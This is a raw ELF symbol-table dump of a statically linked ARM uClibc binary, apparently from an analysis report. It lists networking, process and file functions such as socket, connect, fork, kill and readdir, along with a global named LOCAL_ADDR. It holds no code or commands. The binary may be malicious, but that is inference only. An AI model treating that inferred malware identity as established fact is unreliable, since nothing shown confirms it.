$d	.symtab	0x1468c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x146d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14710	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14754	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x147d4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14818	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x148a4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x149cc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14ab0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14b70	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14c24	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e188	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x14d00	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14d30	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14d64	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14e94	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14f08	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14f4c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14f90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15004	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15048	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15090	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x150d4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15114	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15184	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x151d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15254	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15298	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15308	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15354	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x153dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15424	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15468	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x154bc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1558c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15f90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2675c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x160d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16494	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16938	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1698c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16aa8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26774	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x16b5c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16c14	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16cd4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16d78	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2678c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x26824	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x16e20	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16ef0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16fe4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x170d4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e1a0	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x17184	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26838	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x172cc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x178e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17cb8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17ea4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17fd0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17fe0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18070	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18100	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18190	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1837c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18430	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18490	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x184e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18890	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26850	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x18950	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18980	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18a00	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18a7c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18ae0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18b48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18be8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18c74	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18cb0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18cf0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18d48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18d88	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18dc8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18e24	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18e90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x190fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x194ac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x197d4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19c30	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19cd4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19e2c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26868	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x26864	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1a36c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a71c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a858	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1aef8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1afe4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b168	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b25c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b2c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b334	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b570	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b5d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b680	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b7d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b910	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b9e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1bab8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1bda8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c750	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x58	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x23c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0xe39	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x2685c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1e22e	0	NOTYPE	<unknown>	DEFAULT	4
C.11.5548	.symtab	0x1e20c	12	OBJECT	<unknown>	DEFAULT	4
C.44.5001	.symtab	0x1d7b4	3	OBJECT	<unknown>	DEFAULT	4
C.45.5002	.symtab	0x1d7ab	9	OBJECT	<unknown>	DEFAULT	4
C.5.5083	.symtab	0x1e188	24	OBJECT	<unknown>	DEFAULT	4
C.7.5370	.symtab	0x1e218	12	OBJECT	<unknown>	DEFAULT	4
C.7.6109	.symtab	0x1e554	12	OBJECT	<unknown>	DEFAULT	4
C.7.6182	.symtab	0x1e530	12	OBJECT	<unknown>	DEFAULT	4
C.8.6110	.symtab	0x1e548	12	OBJECT	<unknown>	DEFAULT	4
C.9.6119	.symtab	0x1e53c	12	OBJECT	<unknown>	DEFAULT	4
LOCAL_ADDR	.symtab	0x294f8	4	OBJECT	<unknown>	DEFAULT	14
Laligned	.symtab	0x1add8	0	NOTYPE	<unknown>	DEFAULT	2
Llastword	.symtab	0x1adf4	0	NOTYPE	<unknown>	DEFAULT	2
_Exit	.symtab	0x18a80	104	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x266a0	0	OBJECT	<unknown>	HIDDEN	12
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_Unwind_Complete	.symtab	0x1bb5c	4	FUNC	<unknown>	HIDDEN	2
_Unwind_DeleteException	.symtab	0x1bb60	44	FUNC	<unknown>	HIDDEN	2
_Unwind_ForcedUnwind	.symtab	0x1c810	36	FUNC	<unknown>	HIDDEN	2
_Unwind_GetCFA	.symtab	0x1bb54	8	FUNC	<unknown>	HIDDEN	2
_Unwind_GetDataRelBase	.symtab	0x1bb98	12	FUNC	<unknown>	HIDDEN	2
_Unwind_GetLanguageSpecificData	.symtab	0x1c834	68	FUNC	<unknown>	HIDDEN	2
_Unwind_GetRegionStart	.symtab	0x1cfd4	52	FUNC	<unknown>	HIDDEN	2
_Unwind_GetTextRelBase	.symtab	0x1bb8c	12	FUNC	<unknown>	HIDDEN	2
_Unwind_RaiseException	.symtab	0x1c7a4	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume	.symtab	0x1c7c8	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume_or_Rethrow	.symtab	0x1c7ec	36	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Get	.symtab	0x1babc	76	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Pop	.symtab	0x1c0d4	324	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Set	.symtab	0x1bb08	76	FUNC	<unknown>	HIDDEN	2
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b	.symtab	0x2685c	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x1e22e	768	OBJECT	<unknown>	DEFAULT	4
__EH_FRAME_BEGIN__	.symtab	0x26690	0	OBJECT	<unknown>	DEFAULT	7
__FRAME_END__	.symtab	0x26690	0	OBJECT	<unknown>	DEFAULT	7
__GI___C_ctype_b	.symtab	0x2685c	4	OBJECT	<unknown>	HIDDEN	13
__GI___close	.symtab	0x18000	100	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x17fe4	24	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x26860	4	OBJECT	<unknown>	HIDDEN	13
__GI___errno_location	.symtab	0x14d14	32	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x143d8	152	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x1a734	300	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x18000	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x14470	244	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x18090	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x181b0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x18120	100	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x18090	100	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x18074	24	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x181b0	100	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x18194	24	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x155bc	36	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x155e0	36	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x15598	36	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x183c8	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x18498	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x18120	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x18104	24	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x18a80	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x16994	296	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x14e9c	116	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x14f10	68	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x1b634	88	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x18000	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x148d8	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x19438	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x1946c	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x19110	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x14f98	116	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x170e0	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x194b4	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x14470	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x1a388	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x19e78	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x1a734	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x19fbc	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x1a860	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x197e4	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x17914	972	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x18ae8	100	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x1a734	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x18bec	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x18c18	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x18c2c	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x18c40	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x18c54	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x17d78	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x18c7c	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x1500c	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x18cb4	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x18cf4	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x14e30	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1b16c	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x16efc	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x14578	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x1b0cc	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x14658	56	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x15098	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x1ba4c	112	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x14d70	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x14d80	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x1b9e8	36	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x14d90	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x188dc	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x18d08	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x18d4c	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x18dcc	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x18090	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x14ab8	196	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x17dc0	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x16ad4	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x16d94	144	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x181b0	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x14c2c	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x19024	236	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x146d4	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x1511c	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x151d4	136	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x18e2c	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x14758	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x152a0	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x1535c	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x147dc	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x153e4	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x16ff4	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x18984	136	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x15470	80	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x154c0	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x154d4	196	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x1481c	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x17eb0	300	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x1542c	68	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x16e24	216	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x1ae10	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x1af00	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x1ad90	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x1ad90	28	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1afec	68	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x1adb0	96	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x1b030	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1b080	76	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x172f0	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x1b0f0	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x148a8	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x18e98	20	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x18120	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x2669c	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x2669c	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x1c810	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1c7a4	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x1c7c8	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x1c7ec	36	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x14280	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x143ac	24	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x18a30	8	FUNC	<unknown>	DEFAULT	2
__aeabi_uidiv	.symtab	0x1416c	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x14268	24	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x1c770	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x1c768	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x1c760	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x26f90	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x26838	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x29b40	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x2694c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x2694c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x18444	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x18000	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x17fe4	24	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x26860	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x294f4	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x26748	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x18a24	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x18a18	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x143c4	20	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x14280	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x26698	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x29b40	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x26f88	4	OBJECT	<unknown>	DEFAULT	14
__errno_location	.symtab	0x14d14	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x1e690	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x1e578	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x26a38	4	OBJECT	<unknown>	HIDDEN	14
__fcntl_nocancel	.symtab	0x143d8	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x1a734	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x2669c	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x26698	0	NOTYPE	<unknown>	HIDDEN	10
__fork	.symtab	0x17914	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x29b0c	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x29b10	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x26a3c	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x26694	0	OBJECT	<unknown>	DEFAULT	9
__getdents	.symtab	0x18b4c	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x1b698	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x18c54	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x17d78	72	FUNC	<unknown>	DEFAULT	2
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x1bf14	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x1bffc	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x1c794	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x1bf90	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1c0b4	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x1c79c	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x1c878	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x1cf8c	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x1c218	1352	FUNC	<unknown>	DEFAULT	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x26698	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x26694	0	NOTYPE	<unknown>	HIDDEN	9
__libc_accept	.symtab	0x14e9c	116	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x18000	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x14f98	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x18220	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x182a8	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x14470	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x17914	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x29b14	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x18dcc	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x18090	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x181b0	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x1511c	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x151d4	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x14758	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x152a0	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x1535c	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1b368	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x18984	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x26f84	4	OBJECT	<unknown>	DEFAULT	14
__libc_write	.symtab	0x18120	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x17ce0	152	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x16564	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x15604	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x2675c	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x29794	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x164b4	176	FUNC	<unknown>	DEFAULT	2
